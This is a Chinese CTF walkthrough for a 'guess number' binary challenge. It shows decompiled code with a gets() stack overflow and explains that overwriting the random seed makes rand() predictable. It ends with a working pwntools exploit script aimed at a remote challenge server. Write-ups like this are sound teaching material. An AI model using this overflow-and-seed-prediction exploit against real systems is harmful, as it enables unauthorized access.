```
int v6; // [rsp+Ch] [rbp-34h]
 char v7; // [rsp+10h] [rbp-30h]
 unsigned int seed[2]; // [rsp+30h] [rbp-10h]
 unsigned __int64 v9; // [rsp+38h] [rbp-8h]
 v9 = __readfsqword(0x28u);
 setbuf(stdin, 0LL);
  setbuf(stdout, OLL);
 setbuf(stderr, OLL);
 *(_QWORD *)seed = sub_BB0();
 puts("Welcome to a guess number game!");
 puts("Please let me know your name!");
 printf("Your name:", 0LL);
 gets(&v7);
  srand(seed[0]);
    v6 = rand() \% 6 + 1;
   printf("-----Turn:%d-----\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v4);
__isoc99_scanf("%d", &v4);
    puts("-----
    puts("GG!");
     exit(1);
   puts("Success!");
 sub_C3E();
 return OLL;
00000C66 main:20 (C66)
```

```
IDA View-A M Pseudocode-A M M Hex View-1

1_int64 sub_C3E()

2{
3  printf("You are a prophet!\nHere is your flag!");
4  system("cat flag");
5  return OLL;
6}
```

可以看到我们循环输入十个数字与循环的随机数相等才可以输出 flag 这个随机数并不是真的随机数 我们输入 char 覆盖 sreed 也就是随机数的种子 最好可以输入 0 或者 1 这样它随机数不变

```
00000000000000030 var_30
                                     db ? ; undefined
000000000000000022
000000000000000011
-00000000000000010 seed
                                     dd 2 dup(?)
覆盖 seed
查看 libc
            Idd+ 文件
1 #!usr/bin/python
 2 #coding=utf-8
 3 from pwn import *
```

```
4 from ctypes import *
 5
 6 io = remote('111.200.241.244',60531)
 7 libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
 8 \text{ payload} = 'a' * 0x20 + p64(1).decode()
 9 io.recvuntil('Your name:')
10 io.sendline(payload)
11 libc.srand(1)
12 for i in range(10):
13
         num = str(libc.rand()%6+1)
14
         io.recvuntil('number:')
15
         io.sendline(num)
16 io.interactive()
```

~